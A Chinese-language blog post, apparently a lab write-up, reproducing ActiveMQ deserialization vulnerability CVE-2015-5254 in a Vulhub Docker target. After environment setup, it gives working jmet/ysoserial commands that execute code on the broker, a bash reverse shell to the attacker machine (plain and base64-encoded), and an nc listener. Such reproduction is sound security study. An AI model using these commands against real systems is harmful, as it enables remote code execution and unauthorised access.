13
0
0

ActiveMQ 反序列化漏洞

2026-07-18
2026-10-12
 ActiveMQ 反序列化漏洞
文章摘要
|

环境说明:

靶机:Ubuntu24.04 IP:192.168.75.128

攻击机:Kali2025.3 IP:192.168.75.129

参考文档:【vulhub漏洞复现】ActiveMQ 反序列化漏洞 (CVE-2015-5254)-01

靶机环境配置

安装 Docker

安装前置依赖

 sudo apt update
 sudo apt install ca-certificates curl gnupg lsb-release -y

添加 Docker 官方 GPG 密钥

 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

添加 Docker 软件源

 echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

安装 Docker 引擎

 sudo apt update
 sudo apt install docker-ce docker-ce-cli containerd.io docker-compose-plugin -y

把当前用户加入 docker 组(免 sudo 执行 docker)

 sudo usermod -aG docker $USER
 newgrp docker

验证安装是否成功

 # 测试docker compose
 docker compose version
image-20260620220021561

安装Vulhub环境

 # 安装git(拉取Vulhub代码)
 sudo apt install -y git
 # 拉取Vulhub代码到本地
 git clone https://github.com/vulhub/vulhub.git
 # 进入漏洞环境目录
 cd vulhub/activemq/CVE-2015-5254
 # 启动漏洞环境(第一次启动会下载镜像,约5-10分钟,耐心等)
 sudo docker compose up -d
image-20260620220834006

运行环境后,会建立61616和8161这两个端口

image-20260620221026366

其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口,访问http://192.168.75.128:8161,可以看到web管理页面。但是这个漏洞理论上不需要web

image-20260620221255356

打开http://192.168.75.128:8161/admin,使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围

image-20260620221436678

漏洞复现

下载 jmet 的 jar(Java 消息利用工具)文件

 #下载jmet的jar包
 wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
 #创建external目录
 mkdir external

执行命令,将有效负载发送到目标IP 的61616端口

 java \
 --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
 --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
 --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
 --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
 --add-opens=java.base/java.lang=ALL-UNNAMED \
 --add-opens=java.base/java.util=ALL-UNNAMED \
 -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.75.128 61616
 #调用 java -jar 运行jmet的jar包,-Q 是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload,-Y 是攻击模式和内容(此处为创建一个sucess的文件), -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口
image-20260620224156843

这时,会给目标ActiveMQ添加一个event列,我们可以通过http://192.168.75.128:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

image-20260620224237775

点击查看这条消息即可触发命令执行

image-20260620224443628
image-20260620224400317

登录ActiveMQ容器环境,查看命令已经执行成功,/tmp/sucess文件已成功创建

 #登录容器环境
 docker exec -it [容器ID] bash 
image-20260620224709553

反弹shell

将命令替换成弹shell的语句再利用

 #bash反弹命令
 bash -i >& /dev/tcp/192.168.75.129/31005 0>&1

将反弹语句bese64编码

image-20260620225235584
 #bash64解码
 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjEyOS8zMTAwNSAwPiYx}|{base64,-d}|{bash,-i}

kali上开启端口监听

 nc -lvvp 31005
image-20260620225519824

再次执行弹shell命令

 java \
 --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
 --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
 --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
 --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
 --add-opens=java.base/java.lang=ALL-UNNAMED \
 --add-opens=java.base/java.util=ALL-UNNAMED \
 -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjEyOS8zMTAwNSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.75.128 61616
image-20260620225845833

再次点击对应的ID号

image-20260620230004753

可以看到监听端口已经接受到弹回的shell了,可以执行命令

image-20260620230042005

支持与分享

如果这篇文章对你有帮助,欢迎分享给更多人或者给予支持!

ActiveMQ 反序列化漏洞
/archives/x2bmZ7hI
作者
Ha-zero
发布于
2026-07-18
许可协议
CC BY-NC-SA 4.0

欢迎来到我的博客!